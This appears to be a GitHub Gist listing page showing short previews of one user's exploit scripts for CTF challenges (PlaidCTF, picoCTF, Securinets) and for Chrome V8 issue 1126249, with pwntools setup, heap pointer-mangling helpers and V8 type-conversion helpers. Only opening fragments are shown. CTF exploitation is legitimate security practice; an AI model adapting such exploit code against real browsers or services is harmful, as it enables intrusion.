Harsh khuha hkraw
hkraw
/ plaidCTF-the-false-promise.html
Created
April 18, 2021 19:57
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| <html> | |
| <head> | |
| <script> | |
| ( async() => { | |
| let gc = function() { | |
| for(let i = 0; i < 100; i++) { | |
| new ArrayBuffer(0x10000000); | |
| } | |
| } |
hkraw
/ PlaidCTF-plaidflix.py
Created
April 18, 2021 08:50
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| #!/usr/bin/python3 | |
| from pwn import * | |
| # Helpers | |
| def mangle(addr, value): | |
| return (addr >> 12) ^ value | |
| def demangle(obfus_ptr): | |
| o2 = (obfus_ptr >> 12) ^ obfus_ptr | |
| return (o2 >> 24) ^ o2 |
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| //"use script"; | |
| const color_red = "[31m"; | |
| const color_green = "[32m"; | |
| const color_yellow = "[33m"; | |
| const color_blue = "[43m"; | |
| const color_mag = "[35m"; | |
| const color_cyan = "[36m"; | |
| const color_default = "[0m"; |
hkraw
/ chrome-v8-issue-1126249.js
Last active
April 20, 2022 15:29
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| class Helpers { | |
| constructor() { | |
| this.cvt_buf = new ArrayBuffer(8); | |
| this.cvt_f64a = new Float64Array(this.cvt_buf); | |
| this.cvt_u64a = new BigUint64Array(this.cvt_buf); | |
| this.cvt_u32a = new Uint32Array(this.cvt_buf); | |
| } | |
| ftoi(f) { |
hkraw
/ membership.py
Created
March 21, 2021 17:12
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| from pwn import * | |
| from past.builtins import xrange | |
| def a(): | |
| io.sendlineafter(')\n>','1') | |
| def e(idx, data): | |
| io.sendlineafter(')\n>','3') | |
| io.sendlineafter('Index: ',str(idx)) | |
| io.sendafter('Content: ',data) |
hkraw
/ success.py
Created
March 21, 2021 17:04
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| from pwn import * | |
| import numpy as np | |
| from IO_FILE import * | |
| if __name__ == '__main__': | |
| # io = process('./main2_success') | |
| io = remote("bin.q21.ctfsecurinets.com",1340) | |
| libc = ELF("./libc.so.6") | |
| io.sendafter("Please provide student username: ","AAAAAAAA") |
hkraw
/ stonk_market.py
Created
March 19, 2021 06:50
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| from pwn import * | |
| if __name__=="_main__": | |
| # io = process('./vuln') | |
| io = remote('mercury.picoctf.net', 5654) | |
| exe = ELF('./vuln') | |
| io.sendlineafter("portfolio","1"); |
hkraw
/ one_shot.cc
Last active
March 7, 2021 23:12
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| #include "gadgets.h" | |
| #include <iostream> | |
| #include <pwntools> | |
| #include <stdint.h> | |
| #include <string> | |
| #include <sys/time.h> | |
| #include <vector> | |
| #define www(where, what) \ | |
| io->sendlineafter("n = ", "-1"); \ |
hkraw
/ safecVector.cpp
Created
March 6, 2021 14:27
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| #include <iostream> | |
| #include <pwntools> | |
| #include <stdint.h> | |
| #include <string> | |
| #include <sys/time.h> | |
| #include <vector> | |
| using namespace pwn; | |
| class Hack { |
hkraw
/ stopwatch.cpp
Last active
March 7, 2021 23:12
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| #include <iostream> | |
| #include <pwntools> | |
| #include <stdint.h> | |
| #include <string> | |
| #include <sys/time.h> | |
| #include <vector> | |
| using namespace pwn; | |
| void play(Remote *io) { |